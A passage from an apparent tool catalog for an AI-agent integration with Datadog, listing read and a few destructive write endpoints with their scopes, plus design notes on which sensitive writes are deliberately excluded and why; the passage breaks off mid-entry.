PERMISSION: audit_logs_read is in Datadog's Audit Trail group and returns every action every user in the organization took, so granting it is a decision about the whole organization, not about one integration. GET /api/v1/tools/datadog/list-audit-logs. Scopes: audit_logs_read. datadog_list_case_automation_rules (read) — List the automation rules on a case project — the rules that assign, re-prioritise or close cases without a human. Read-only, and the read that explains why a case changed with nobody touching it. GET /api/v1/tools/datadog/list-case-automation-rules. Scopes: cases_read. datadog_list_case_custom_attributes (read) — List every custom attribute definition configured for cases across the organization — the names, types and allowed values a case's custom fields can carry. GET /api/v1/tools/datadog/list-case-custom-attributes. Scopes: cases_read. datadog_list_case_links (read) — List the links between cases — duplicates, blockers and parent relationships. Turns a single case into the cluster of work it belongs to. GET /api/v1/tools/datadog/list-case-links. Scopes: cases_read. datadog_list_case_project_notification_rules (read) — Read the notification rules on a case project — who gets told when a case in this project changes. A configuration AUDIT read: Agentic Fabriq exposes no create, update or delete for these rules, because a notification rule is a standing rule that acts without the agent. GET /api/v1/tools/datadog/list-case-project-notification-rules. Scopes: cases_read. datadog_list_case_projects (read) — List Case Management projects — the containers cases live in, usually one per team or service. A project key is the argument several other case reads need. GET /api/v1/tools/datadog/list-case-projects. Scopes: cases_read. datadog_list_case_timeline (read) — Read one case's timeline: every status change, comment, assignment and attribute edit in order, with who made it. The audit trail of what a team already tried before the agent was asked. GET /api/v1/tools/datadog/list-case-timeline. Scopes: cases_read. datadog_list_case_type_custom_attributes (read) — List the custom attribute definitions attached to ONE case type. Narrower than the organization-wide list, and the one that explains why a particular case has the fields it has. GET /api/v1/tools/datadog/list-case-type-custom-attributes. Scopes: cases_read. datadog_list_case_types (read) — List the organization's case types. A case type decides which fields and workflow a case gets, so this is what makes a case id interpretable. GET /api/v1/tools/datadog/list-case-types. Scopes: cases_read. datadog_list_case_views (read) — List the saved case views the organization has defined — the filters teams actually use, which is a better starting query than one an agent invents. GET /api/v1/tools/datadog/list-case-views. Scopes: cases_read. datadog_list_case_watchers (read) — List the users watching one case — who is already following this piece of work. Read-only: Agentic Fabriq exposes no watch or unwatch, because subscribing a colleague to notifications acts on a person. GET /api/v1/tools/datadog/list-case-watchers. Scopes: cases_read. datadog_list_catalog_entities (read) — List Software Catalog entities — services, datastores, queues and systems — with their owners, relations and schemas. The successor to the service-definition reads: a service definition describes one service, an entity describes the whole estate and how it fits together. SCOPE NOTE: Datadog's OpenAPI documents declare no permission for this endpoint at all. Agentic Fabriq requests it under apm_service_catalog_read, the documented Software Catalog read permission, which is already requested — so this costs no additional grant. That attribution is inference from the product, not a declaration in Datadog's contract, and it is unverified against a live account. GET /api/v1/tools/datadog/list-catalog-entities. Scopes: apm_service_catalog_read. datadog_list_catalog_kinds (read) — List the Software Catalog entity KINDS defined in this organization — service, datastore, queue, system and any custom kind. The vocabulary the entity list is filtered by. Same scope caveat as List catalog entities. GET /api/v1/tools/datadog/list-catalog-kinds. Scopes: apm_service_catalog_read. datadog_list_catalog_relations (read) — List the relations between Software Catalog entities — what depends on what, and who owns what. This is the dependency graph an agent needs to answer 'if this datastore is down, which services are affected and which team do I tell'. Same scope caveat as List catalog entities. GET /api/v1/tools/datadog/list-catalog-relations. Scopes: apm_service_catalog_read. datadog_list_ci_pipeline_events (read) — List CI pipeline events — every build and deploy job, with its status, duration, branch and commit. Next to List events this is the 'did the deploy break it' read: the pipeline that ran immediately before an alert, by name and commit. REQUIRES CI VISIBILITY. GET /api/v1/tools/datadog/list-ci-pipeline-events. Scopes: ci_visibility_read. datadog_list_ci_test_events (read) — List CI test events — individual test executions with pass/fail, duration and the commit they ran against. The read behind 'which test started failing, and on what change'. REQUIRES TEST OPTIMIZATION. GET /api/v1/tools/datadog/list-ci-test-events. Scopes: ci_visibility_read. datadog_list_cost_aws_cur_configs (read) — List the AWS Cost and Usage Report configurations Datadog ingests billing data from — which account, which bucket, and whether the ingest is healthy. The first read when cloud cost data is missing or stale. Read-only: every Cloud Cost WRITE carries cloud_cost_management_write, which is never requested, because it rewires which billing account Datadog reads. GET /api/v1/tools/datadog/list-cost-aws-cur-configs. Scopes: cloud_cost_management_read. datadog_list_cost_azure_uc_configs (read) — List the Azure usage-cost configurations Datadog ingests billing data from, and their status. GET /api/v1/tools/datadog/list-cost-azure-uc-configs. Scopes: cloud_cost_management_read. datadog_list_cost_commitments (read) — List the organization's cloud commitments — reserved instances and savings plans, with their terms. PREVIEW endpoint. GET /api/v1/tools/datadog/list-cost-commitments. Scopes: cloud_cost_management_read. datadog_list_cost_gcp_usage_cost_configs (read) — List the Google Cloud usage-cost configurations Datadog ingests billing data from, and their status. GET /api/v1/tools/datadog/list-cost-gcp-usage-cost-configs. Scopes: cloud_cost_management_read. datadog_list_cost_oci_configs (read) — List the Oracle Cloud cost configurations Datadog ingests billing data from, and their status. GET /api/v1/tools/datadog/list-cost-oci-configs. Scopes: cloud_cost_management_read. datadog_list_cost_tag_descriptions (read) — List the human descriptions attached to cost tag keys — what 'team' actually means in this organization's tagging scheme. GET /api/v1/tools/datadog/list-cost-tag-descriptions. Scopes: cloud_cost_management_read. datadog_list_cost_tag_key_sources (read) — List where each cost tag key comes from — the cloud provider, Datadog's own enrichment, or a custom rule. PREVIEW endpoint. GET /api/v1/tools/datadog/list-cost-tag-key-sources. Scopes: cloud_cost_management_read. datadog_list_cost_tag_keys (read) — List the cost tag KEYS — the dimensions spend can be broken down by (team, service, environment). GET /api/v1/tools/datadog/list-cost-tag-keys. Scopes: cloud_cost_management_read. datadog_list_cost_tag_metadata (read) — List the metadata Datadog holds about cost tags — coverage, sources and freshness. PREVIEW endpoint. GET /api/v1/tools/datadog/list-cost-tag-metadata. Scopes: cloud_cost_management_read. datadog_list_cost_tag_metadata_metrics (read) — List the cost metrics available for tag-based queries. PREVIEW endpoint. GET /api/v1/tools/datadog/list-cost-tag-metadata-metrics. Scopes: cloud_cost_management_read. datadog_list_cost_tag_metadata_months (read) — List the months for which cost data exists. The bounds check before asking for a window that has no data. PREVIEW endpoint. GET /api/v1/tools/datadog/list-cost-tag-metadata-months. Scopes: cloud_cost_management_read. datadog_list_cost_tag_metadata_orchestrators (read) — List the container orchestrators Datadog attributes cost through — which Kubernetes clusters are in the cost model. PREVIEW endpoint. GET /api/v1/tools/datadog/list-cost-tag-metadata-orchestrators. Scopes: cloud_cost_management_read. datadog_list_cost_tags (read) — List the cost-allocation tags available for grouping cloud spend. The vocabulary every other cost query is written in. GET /api/v1/tools/datadog/list-cost-tags. Scopes: cloud_cost_management_read. datadog_list_custom_costs_files (read) — List the custom-cost files uploaded to Datadog — third-party spend the customer added by hand. Read-only; the upload is a write and is not exposed. GET /api/v1/tools/datadog/list-custom-costs-files. Scopes: cloud_cost_management_read. datadog_list_dashboard_list_items (read) — List the dashboards inside one dashboard list, with their ids and types. The id source for Get dashboard when you are working within a team's folder. GET /api/v1/tools/datadog/list-dashboard-list-items. Scopes: dashboards_read. datadog_list_dashboard_lists (read) — List the organization's dashboard lists — the folders teams group dashboards into. The fastest way to find 'the SRE team's dashboards' rather than all 400 of them. GET /api/v1/tools/datadog/list-dashboard-lists. Scopes: dashboards_read. datadog_list_dashboard_shares (read) — SECURITY AUDIT READ — answer 'is this dashboard exposed through a public, embed or invite share link?' for one dashboard. This is the audit counterpart to the share-creation operations, all of which are permanently excluded. PREVIEW endpoint. GET /api/v1/tools/datadog/list-dashboard-shares. Scopes: dashboards_read. datadog_list_dashboard_usage (read) — List when each dashboard was last viewed and last edited. Finds the dashboards nobody looks at, and the ones that are load-bearing. PREVIEW endpoint. GET /api/v1/tools/datadog/list-dashboard-usage. Scopes: dashboards_read. datadog_list_dashboards (read) — List the Datadog dashboards this connection can see, with each dashboard's id, title, URL and author. Dashboard ids are not guessable, so this is the entry point for datadog_get_dashboard. GET /api/v1/tools/datadog/dashboards. Scopes: dashboards_read. datadog_list_dora_deployments (read) — List DORA deployment events in a window — what shipped, when, to which service. Read-only. Agentic Fabriq exposes no DORA SUBMIT: POST /api/v2/dora/deployment is one of the fourteen ingest operations Datadog gates with an API key and no permission at all, so an agent able to call it could invent the deployment history its own metrics are computed from. POST /api/v1/tools/datadog/list-dora-deployments. Scopes: dora_metrics_read. datadog_list_dora_failures (read) — List DORA failure events in a window — the incidents change-failure rate and MTTR are computed from. Read-only, for the same reason as the deployment list. POST /api/v1/tools/datadog/list-dora-failures. Scopes: dora_metrics_read. datadog_list_downtimes (read) — List every scheduled and active Datadog downtime in the organization, with each downtime's id, message, creator, scope, monitor and schedule. This is the missing half of Unmute monitor: a downtime id cannot be obtained any other way except from the mute call that created it, so without this an agent cancels a downtime blind. Call it before unmuting. GET /api/v1/tools/datadog/list-downtimes. Scopes: monitors_downtime. datadog_list_events (read) — List events from the Datadog event stream — deploys, alert transitions and integration events. This is the correlation tool: 'what changed just before the alert' is almost always answered here rather than in the metrics. GET /api/v1/tools/datadog/events. Scopes: events_read. datadog_list_favorite_case_projects (read) — List the case projects the connected user has favourited. A cheap proxy for 'the projects this account actually works in' when the organization has many. GET /api/v1/tools/datadog/list-favorite-case-projects. Scopes: cases_read. datadog_list_fleet_agent_versions (read) — List the Datadog Agent versions available and in use across the estate. GET /api/v1/tools/datadog/list-fleet-agent-versions. Scopes: hosts_read. datadog_list_fleet_agents (read) — List the Datadog Agents installed across the estate with their versions and hosts. Answers 'is this host silent because the Agent is down or out of date'. GET /api/v1/tools/datadog/list-fleet-agents. Scopes: hosts_read. datadog_list_fleet_deployments (read) — List Fleet Automation deployments — Agent upgrades and configuration rollouts — with their status. Read-only; starting one is not exposed. GET /api/v1/tools/datadog/list-fleet-deployments. Scopes: hosts_read. datadog_list_fleet_schedules (read) — List the Fleet Automation schedules that upgrade Agents automatically. Read-only. GET /api/v1/tools/datadog/list-fleet-schedules. Scopes: hosts_read. datadog_list_historical_job_signals (read) — List the signals one historical-detection job produced. PREVIEW endpoint. Requires Cloud SIEM. GET /api/v1/tools/datadog/list-historical-job-signals. Scopes: security_monitoring_signals_read. datadog_list_historical_signals (read) — List signals produced by historical (retro-scan) detections. PREVIEW endpoint. Requires Cloud SIEM. GET /api/v1/tools/datadog/list-historical-signals. Scopes: security_monitoring_signals_read. datadog_list_hosts (read) — Infrastructure inventory: every host reporting to Datadog, with its up/down state, whether it is MUTED, which apps and integrations report from it, its tags and its last-seen time. The natural companion to metrics and monitors for 'which hosts stopped reporting'. GET /api/v1/tools/datadog/list-hosts. Scopes: hosts_read. datadog_list_incident_attachments (read) — List the postmortem documents and links attached to one incident — where 'how was this fixed last time' actually lives. PREVIEW endpoint. GET /api/v1/tools/datadog/list-incident-attachments. Scopes: incident_read. datadog_list_incident_fields (read) — List the organization's custom incident fields and their allowed values. Needed to read an incident's fields, which are otherwise opaque keys. PREVIEW endpoint. GET /api/v1/tools/datadog/list-incident-fields. Scopes: incident_read. datadog_list_incident_impacts (read) — List the declared customer impacts on one incident, with their windows and descriptions. GET /api/v1/tools/datadog/list-incident-impacts. Scopes: incident_read. datadog_list_incident_integrations (read) — List one incident's integration links — its Slack channel, its ticketing records. Read-only; creating or rebinding them is not exposed. PREVIEW endpoint. GET /api/v1/tools/datadog/list-incident-integrations. Scopes: incident_read. datadog_list_incident_responders (read) — List who is responding to one incident and in what role. Read-only — ADDING a responder notifies a named human and is permanently excluded. PREVIEW endpoint. GET /api/v1/tools/datadog/list-incident-responders. Scopes: incident_read. datadog_list_incident_timestamp_overrides (read) — READ the manual corrections applied to an incident's detection and resolution times — i.e. see whether the numbers MTTR reporting is computed from have been edited, and by whom. WRITING a timestamp override is permanently excluded: it lets an agent rewrite its own performance record. PREVIEW endpoint. GET /api/v1/tools/datadog/list-incident-timestamp-overrides. Scopes: incident_read. datadog_list_incident_todos (read) — List the follow-up tasks recorded on one incident. PREVIEW endpoint. GET /api/v1/tools/datadog/list-incident-todos. Scopes: incident_read. datadog_list_incidents (read) — List Datadog incidents newest first, with title, severity, state, commander and timestamps. GET /api/v1/tools/datadog/incidents. Scopes: incident_read. datadog_list_log_archive_readers (read) — List the roles allowed to rehydrate from one log archive. Read-only; granting that access is permanently excluded. GET /api/v1/tools/datadog/list-log-archive-readers. Scopes: logs_read_config. datadog_list_log_archives (read) — List the organization's log archives — where logs are written for long-term storage, and the id source for List log archive readers. Read-only; every archive write is permanently excluded because it exports logs to a caller-named bucket. GET /api/v1/tools/datadog/list-log-archives. Scopes: logs_read_archives. datadog_list_log_indexes (read) — List the organization's log indexes with their retention, daily limit and EXCLUSION FILTERS. This is the read that answers 'why is this log not searchable' — wrong index, or an exclusion filter dropped it. GET /api/v1/tools/datadog/list-log-indexes. Scopes: logs_read_config. datadog_list_log_metrics (read) — List the log-based metrics configured in the organization. Read-only — creating one mints a billable custom metric per tag combination and is permanently excluded. GET /api/v1/tools/datadog/list-log-metrics. Scopes: logs_read_config. datadog_list_log_pipelines (read) — List the log processing pipelines. A pipeline rewrites logs AT INGEST, so a wrong grok rule silently mis-parses everything arriving after it — this read is how that gets diagnosed. Every pipeline WRITE is permanently excluded. GET /api/v1/tools/datadog/list-log-pipelines. Scopes: logs_read_config. datadog_list_log_restriction_queries (read) — List the log restriction queries — the per-role limits on which logs a user may read. Explains why a log is invisible to one team and visible to another. PREVIEW endpoint. GET /api/v1/tools/datadog/list-log-restriction-queries. Scopes: logs_read_config. datadog_list_log_restriction_query_roles (read) — List the roles a log restriction query applies to. PREVIEW endpoint. GET /api/v1/tools/datadog/list-log-restriction-query-roles. Scopes: logs_read_config. datadog_list_logs (read) — The GET form of log search, for short queries and simple cursor paging. HIGH SENSITIVITY, identically to Search logs: the response is raw production log lines. Prefer Aggregate logs whenever the question is a count. A query is required. GET /api/v1/tools/datadog/list-logs. Scopes: logs_read_data. datadog_list_maintenance_windows (read) — List planned maintenance windows. Distinct from a monitor downtime: a maintenance window is the declared, scheduled change, and it is what tells an agent that an anomaly is expected rather than a regression. GET /api/v1/tools/datadog/list-maintenance-windows. Scopes: cases_read. datadog_list_metric_tag_indexing_rules (read) — List the tag indexing rules that apply to one metric. PREVIEW endpoint. GET /api/v1/tools/datadog/list-metric-tag-indexing-rules. Scopes: metrics_read. datadog_list_metric_tags (read) — List the tag keys and values actually indexed for one metric. The most common reason a metric query returns nothing is a guessed tag key — writing by {service} where the metric is tagged by {svc}. List metrics returns names and never tag keys; this is the missing step between 'the metric exists' and 'the query returns points'. GET /api/v1/tools/datadog/list-metric-tags. Scopes: metrics_read. datadog_list_metrics (read) — List Datadog metric names that have reported recently, optionally narrowed by tag. Metric names are not guessable and datadog_query_metrics needs one, so this is the discovery step before any timeseries query. Returns a cursor in meta.pagination.next_cursor. GET /api/v1/tools/datadog/metrics. Scopes: metrics_read. datadog_list_monitor_config_policies (read) — List the organization's monitor configuration policies — the rules that force tags or fields onto every monitor. Explains why a monitor definition was rejected. GET /api/v1/tools/datadog/list-monitor-config-policies. Scopes: monitors_read. datadog_list_monitor_downtime_matches (read) — List the downtimes that currently match one monitor — i.e. why this specific monitor is not paging. Narrower and cheaper than listing every downtime in the organization. GET /api/v1/tools/datadog/list-monitor-downtime-matches. Scopes: monitors_downtime. datadog_list_monitor_notification_rules (read) — List the organization's monitor notification rules — the org-level routing that decides who a monitor actually notifies, which is often not what the monitor's own message says. GET /api/v1/tools/datadog/list-monitor-notification-rules. Scopes: monitors_read. datadog_list_monitor_user_templates (read) — List the organization's saved monitor templates. PREVIEW endpoint — Datadog may change the response shape without notice. GET /api/v1/tools/datadog/list-monitor-user-templates. Scopes: monitors_read. datadog_list_monitors (read) — List Datadog monitors with their id, name, type, query and current alert state (OK / Alert / Warn / No Data). Start here: a monitor id is an opaque integer and nothing else hands one over. Set with_downtimes=true to also get each monitor's active downtimes, which is where a downtime_id for datadog_unmute_monitor comes from. GET /api/v1/tools/datadog/monitors. Scopes: monitors_read. datadog_list_notebooks (read) — List Datadog notebooks — where postmortems, investigation runbooks and incident write-ups live. Read-only; notebooks_write also covers deletion and is not requested. GET /api/v1/tools/datadog/list-notebooks. Scopes: notebooks_read. datadog_list_powerpacks (read) — List powerpacks — reusable widget groups a team drops into several dashboards. Useful context for 'what does this team actually watch'. GET /api/v1/tools/datadog/list-powerpacks. Scopes: dashboards_read. datadog_list_rum_applications (read) — List the organization's Real User Monitoring applications with their ids, names and types. The application id is the argument every other RUM read needs. The single-application read is NOT exposed: its response carries the application's `client_token`, which is the credential a browser SDK ships telemetry with. GET /api/v1/tools/datadog/list-rum-applications. Scopes: rum_apps_read. datadog_list_rum_events (read) — List RUM events — real browser and mobile sessions, views and errors from actual users — in a time window, with a query filter. This is what turns 'the API looks fine' into 'users are seeing it fail'. CONTAINS END-USER DATA: RUM events carry user ids, emails where the SDK was configured to send them, IP-derived geography and full URLs. GET /api/v1/tools/datadog/list-rum-events. Scopes: rum_apps_read. datadog_list_rum_sourcemaps (read) — List the JavaScript source maps uploaded for RUM error unminifying, by service and version. PREVIEW endpoint. The read that explains why a stack trace is still minified. GET /api/v1/tools/datadog/list-rum-sourcemaps. Scopes: rum_apps_read. datadog_list_security_filter_versions (read) — Read the version history of the organization's security filters — every change to what reaches the security pipeline, with who made it. A security-audit read. GET /api/v1/tools/datadog/list-security-filter-versions. Scopes: security_monitoring_filters_read. datadog_list_security_filters (read) — List security filters — which logs are routed into Cloud SIEM for analysis at all. THE read that explains a detection that never fired: if the logs never reached the security pipeline, no rule could match them. Read-only; the filter write is never requested. GET /api/v1/tools/datadog/list-security-filters. Scopes: security_monitoring_filters_read. datadog_list_security_findings (read) — List security findings — misconfigurations and posture violations across the cloud estate, with severity, resource and rule. The compliance surface an auditor asks about. Read-only: the finding WRITE mutes a finding, which removes it from the posture dashboard the customer's compliance evidence is drawn from, and is never requested. Datadog declares this endpoint as security_monitoring_findings_read OR appsec_vm_read; Agentic Fabriq requests the first. REQUIRES CLOUD SECURITY MANAGEMENT. GET /api/v1/tools/datadog/list-security-findings. Scopes: security_monitoring_findings_read. datadog_list_security_rules (read) — List the organization's security detection rules — what Cloud SIEM and CSM are actually looking for. The read that turns a signal into 'this fired because of rule X, which looks for Y'. Read-only: every rule WRITE carries security_monitoring_rules_write and is never requested, because editing a detection rule changes what is detected for everyone, silently and with no expiry. REQUIRES CLOUD SIEM or CSM. GET /api/v1/tools/datadog/list-security-rules. Scopes: security_monitoring_rules_read. datadog_list_security_signals (read) — List Cloud SIEM security signals in a time window, newest first. Requires Cloud SIEM. GET /api/v1/tools/datadog/list-security-signals. Scopes: security_monitoring_signals_read. datadog_list_service_definitions (read) — List every service definition in the Software Catalog — the organization's service inventory. Datadog documents Software Catalog as available at no additional charge to Infrastructure Monitoring customers. GET /api/v1/tools/datadog/list-service-definitions. Scopes: apm_service_catalog_read. datadog_list_slo_corrections (read) — List every SLO correction in the organization, newest first. GET /api/v1/tools/datadog/list-slo-corrections. Scopes: slos_read. datadog_list_slos (read) — List Datadog service level objectives with their thresholds, tags and type. Use this to answer 'are we within budget' questions before reaching for raw metrics. GET /api/v1/tools/datadog/slos. Scopes: slos_read. datadog_list_span_metrics (read) — List the span-based metrics configured in the organization. Read-only — CREATING one mints a billable custom metric per tag combination and is permanently excluded. Requires the APM module. GET /api/v1/tools/datadog/list-span-metrics. Scopes: apm_read. datadog_list_synthetics_browser_test_results (read) — List the most recent run results for one Synthetics browser test, per location, with step outcomes and timings. Same shape and same exclusion as List Synthetics test results. GET /api/v1/tools/datadog/list-synthetics-browser-test-results. Scopes: synthetics_read. datadog_list_synthetics_downtimes (read) — List Synthetics downtimes — the windows in which synthetic tests are paused and will not alert. The Synthetics counterpart of List downtimes, and the read that explains a silent synthetic check. GET /api/v1/tools/datadog/list-synthetics-downtimes. Scopes: synthetics_read. datadog_list_synthetics_locations (read) — List every Synthetics run location available to this organization, public and private, with its id and display name. Turns a location id in a result into a place. Read-only — the private-location DETAIL read is excluded because its response carries the location's `secrets` block. GET /api/v1/tools/datadog/list-synthetics-locations. Scopes: synthetics_private_location_read. datadog_list_synthetics_test_results (read) — List the most recent run results for one Synthetics test — pass or fail, per location, with timings. The v2 result list, which returns run outcomes WITHOUT the test's request configuration; the per-result detail reads are deliberately not exposed because their `check.config` block carries the test's HTTP credentials. GET /api/v1/tools/datadog/list-synthetics-test-results. Scopes: synthetics_read. datadog_list_synthetics_test_versions (read) — List the version history of one Synthetics test — every change, when, and by whom. The read that answers 'did somebody edit this check just before it started failing'. Returns version METADATA only; the versioned configuration itself is not in the response, which is what keeps it outside the credential-bearing exclusion. GET /api/v1/tools/datadog/list-synthetics-test-versions. Scopes: synthetics_read. datadog_list_tag_indexing_rules (read) — List the organization's metric tag indexing rules — the rules that decide which tags stay queryable. Explains a tag that exists on the metric but cannot be grouped by. PREVIEW endpoint. GET /api/v1/tools/datadog/list-tag-indexing-rules. Scopes: metrics_read. datadog_list_team_connections (read) — List the connections between Datadog teams and external systems. Read-only; DELETING team connections carries the same teams_read permission and is permanently excluded. GET /api/v1/tools/datadog/list-team-connections. Scopes: teams_read. datadog_list_team_hierarchy_links (read) — List parent/child relationships between teams — the org chart Datadog routes through. GET /api/v1/tools/datadog/list-team-hierarchy-links. Scopes: teams_read. datadog_list_team_links (read) — List one team's links — its runbooks, dashboards, Slack channels and wikis. GET /api/v1/tools/datadog/list-team-links. Scopes: teams_read. datadog_list_team_memberships (read) — List the people in one team and their roles. The last hop from 'checkout-api is owned by the payments team' to a named human. GET /api/v1/tools/datadog/list-team-memberships. Scopes: teams_read. datadog_list_team_notification_rules (read) — List where one team's notifications are routed. Read-only; creating, editing and deleting these rules — which Datadog also puts behind teams_read — are permanently excluded. GET /api/v1/tools/datadog/list-team-notification-rules. Scopes: teams_read. datadog_list_team_permission_settings (read) — SECURITY AUDIT READ — report who may edit a team, manage its membership and change its links. The matching WRITE is permanently excluded even though Datadog gates it on the same 'read' permission. GET /api/v1/tools/datadog/list-team-permission-settings. Scopes: teams_read. datadog_list_teams (read) — List the organization's Datadog teams, with handles and member counts. Team handles are what monitor notifications and service definitions point at, so this is the other half of alert routing. GET /api/v1/tools/datadog/list-teams. Scopes: teams_read. datadog_list_user_log_restriction_queries (read) — List the log restriction queries that apply to one user. PREVIEW endpoint. GET /api/v1/tools/datadog/list-user-log-restriction-queries. Scopes: logs_read_config. datadog_list_user_notification_channels (read) — List the channels one user can be paged on. Requires the On-Call module. GET /api/v1/tools/datadog/list-user-notification-channels. Scopes: on_call_read. datadog_list_user_notification_rules (read) — List how one user is notified when they are paged — the channels and delays. Read-only. The matching UPDATE, which Datadog also puts behind on_call_read, is permanently excluded: rewriting where a human's pages go silences them with no expiry and no visible record. Requires the On-Call module. GET /api/v1/tools/datadog/list-user-notification-rules. Scopes: on_call_read. datadog_list_user_team_memberships (read) — List every team one user belongs to. The reverse lookup: 'what is this person responsible for'. GET /api/v1/tools/datadog/list-user-team-memberships. Scopes: teams_read. datadog_mute_monitor (write, destructive) — DESTRUCTIVE — mute one Datadog monitor by scheduling a downtime, so it stops notifying. A muted monitor does not page anyone, so muting the wrong one is an outage nobody hears about. duration_minutes is required and capped at 1440 (24 hours): Datadog itself allows a downtime that never ends, and Agentic Fabriq does not. scope is required and may not be '*', which would silence the entire organization. Muting by tag is not available. Returns the downtime id — keep it, datadog_unmute_monitor needs it. POST /api/v1/tools/datadog/monitors/mute. Scopes: monitors_downtime. datadog_query_metrics (read) — Run one Datadog metric query over a time range and return the data points, e.g. 'avg:system.cpu.user{env:prod} by {host}'. Both timestamps are UNIX seconds, NOT milliseconds and NOT ISO strings. Use datadog_list_metrics for metric names, or datadog_get_dashboard for queries a team already trusts. GET /api/v1/tools/datadog/query. Scopes: timeseries_query. datadog_query_scalar (read) — Return ONE aggregated number per query over a time window — 'what is p99 checkout latency right now' — rather than a series of points. Agentic Fabriq accepts a metric query plus a named aggregator (avg, min, max, sum, last, percentile, area, l2norm) instead of raw formulas JSON, so a model cannot get the request shape wrong. POST /api/v1/tools/datadog/query-scalar. Scopes: timeseries_query. datadog_query_timeseries (read) — The v2 form of a timeseries query: several named queries in one call over a shared time window, with millisecond timestamps. Use Query metrics for a single simple query; use this when you need two or more series retrieved together so their points line up. POST /api/v1/tools/datadog/query-timeseries. Scopes: timeseries_query. datadog_reschedule_downtime (write, destructive) — DESTRUCTIVE — change how long an existing downtime lasts, without cancelling and recreating it (which would un-mute the monitor in the gap). Extends or shortens. Agentic Fabriq recomputes the end time server-side from a required duration_minutes of at most 24 hours, exactly as Mute monitor does, and refuses any caller-supplied schedule, recurrence or monitor_tags — so this cannot be used to convert a bounded downtime into an open-ended one. POST /api/v1/tools/datadog/reschedule-downtime. Scopes: monitors_downtime. datadog_search_audit_logs (read) — Search Datadog audit events with a structured query, sort and cursor paging — '@usr.id:… @evt.name:monitor.updated'. The POST form of List audit logs, with the same ADMIN exposure. POST /api/v1/tools/datadog/search-audit-logs. Scopes: audit_logs_read. datadog_search_cases (read) — Search Case Management cases with Datadog's case query syntax and get matches plus paging. Cases are where ops work is tracked between an alert firing and an incident being declared, so this is usually the first read of a triage session: 'what is already open on this service, and did somebody pick it up'. GET /api/v1/tools/datadog/search-cases. Scopes: cases_read. datadog_search_ci_pipeline_events (read) — Search CI pipeline events with a structured query, sort and cursor paging. The POST form, for correlating a specific service, branch or commit against an incident window. REQUIRES CI VISIBILITY. POST /api/v1/tools/datadog/search-ci-pipeline-events. Scopes: ci_visibility_read. datadog_search_ci_test_events (read) — Search CI test executions with a structured query, sort and cursor paging. REQUIRES TEST OPTIMIZATION. POST /api/v1/tools/datadog/search-ci-test-events. Scopes: ci_visibility_read. datadog_search_events (read) — Search the event stream with a structured query (source:deploy service:web), sorting and cursor paging. List events takes a time window and little else, so correlation — 'what changed just before the alert' — otherwise means pulling the whole organization's event stream and filtering it in-context. POST /api/v1/tools/datadog/search-events. Scopes: events_read. datadog_search_flaky_tests (read) — Search the flaky-test list: tests that pass and fail on the same commit. Read-only — the flaky-test UPDATE, which marks a test fixed or quarantines it, carries test_optimization_write and is never requested. REQUIRES TEST OPTIMIZATION. POST /api/v1/tools/datadog/search-flaky-tests. Scopes: test_optimization_read. datadog_search_historical_signals (read) — Search signals produced by historical (retro-scan) detections. PREVIEW endpoint. Requires Cloud SIEM. POST /api/v1/tools/datadog/search-historical-signals. Scopes: security_monitoring_signals_read. datadog_search_incidents (read) — Search incidents by state, severity, commander, time or custom field, with facet counts. PREVIEW endpoint. GET /api/v1/tools/datadog/search-incidents. Scopes: incident_read. datadog_search_logs (read) — Search Datadog log events. The result is raw production log lines, which routinely contain personal data and other systems' secrets — do not echo them further than the user asked. This is also the most rate-limited Datadog endpoint at 300 requests per hour for the whole organization, shared with the customer's own tooling, so narrow the query and the window rather than paging through everything. A query is required; an empty one would match every log line in the window. POST /api/v1/tools/datadog/logs/search. Scopes: logs_read_data. datadog_search_monitor_groups (read) — Search the individual GROUP states of multi-alert monitors (a monitor grouped by {host} or {pod_name} has one overall state and N group states). This is what turns 'the checkout monitor is alerting' into 'on two of forty pods'. GET /api/v1/tools/datadog/search-monitor-groups. Scopes: monitors_read. datadog_search_monitors (read) — Search monitors with Datadog's monitor search syntax (status:Alert, type:'metric alert', notify:@slack-sre, tag:env:prod) and get matches plus facet counts. 'What is alerting right now' is one call here instead of a full paginated scan of every monitor in the organization. GET /api/v1/tools/datadog/search-monitors. Scopes: monitors_read. datadog_search_rum_events (read) — Search RUM events with a structured query, sort and cursor paging. The POST form of List RUM events, for queries too long for a URL. Same end-user data exposure. POST /api/v1/tools/datadog/search-rum-events. Scopes: rum_apps_read. datadog_search_security_findings (read) — Search security findings with a structured query and cursor paging. The POST form of List security findings, with the same exposure and the same read-only posture. REQUIRES CLOUD SECURITY MANAGEMENT. POST /api/v1/tools/datadog/search-security-findings. Scopes: security_monitoring_findings_read. datadog_search_security_signals (read) — Search Cloud SIEM security signals with a structured query and time window — for correlating a security detection with an ops incident. Read-only; every write in Datadog's security-monitoring family silences a detection and is permanently excluded. Requires Cloud SIEM. POST /api/v1/tools/datadog/search-security-signals. Scopes: security_monitoring_signals_read. datadog_search_slos (read) — Search SLOs with a facet query and get matching SLOs plus facet counts, instead of paging the whole list and filtering client-side. GET /api/v1/tools/datadog/search-slos. Scopes: slos_read. datadog_search_spans (read) — Search APM spans — the trace-level layer between 'the metric moved' and 'this query is slow'. Returns individual spans with their service, resource, duration and error state. Requires the APM module. POST /api/v1/tools/datadog/search-spans. Scopes: apm_read. datadog_search_synthetics_suites (read) — Search Synthetics test suites — the named groups of tests a team runs together. Returns suite metadata, not the tests' request configuration. GET /api/v1/tools/datadog/search-synthetics-suites. Scopes: synthetics_read. datadog_unmute_monitor (write, destructive) — DESTRUCTIVE — cancel a Datadog downtime so its monitors can page again. The downtime may be a planned maintenance window somebody else scheduled, and cancelling it during that window pages an entire on-call rotation. Datadog publishes no un-cancel endpoint; the downtime has to be recreated with datadog_mute_monitor. POST /api/v1/tools/datadog/monitors/unmute. Scopes: monitors_downtime. datadog_update_incident (read) — Update an incident's title, summary, severity, state or root cause. Agentic Fabriq forwards ONLY those five fields — the request body is rebuilt from named arguments and an unrecognised key is refused, not dropped. In particular `detected` and `resolved`, which Datadog also accepts here, are unreachable: they are the timestamps MTTR is computed from, and rewriting them is editing the record rather than the data. Setting state to resolved records a resolution at the time of the call, which is the honest path to the same number. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT — this half of the family is seat-gated where creating is not. POST /api/v1/tools/datadog/update-incident. Scopes: incident_write. datadog_update_incident_attachment (read) — Update an attachment on an incident — correct a postmortem link or its title. Ships with its create and its delete so a wrong link is a correction rather than a removal. PREVIEW endpoint. REQUIRES AN INCIDENT MANAGEMENT SEAT. POST /api/v1/tools/datadog/update-incident-attachment. Scopes: incident_write. datadog_update_incident_impact (read) — Update a recorded impact on an incident — correct the affected service, the segment or the window. The edit that sits between Create 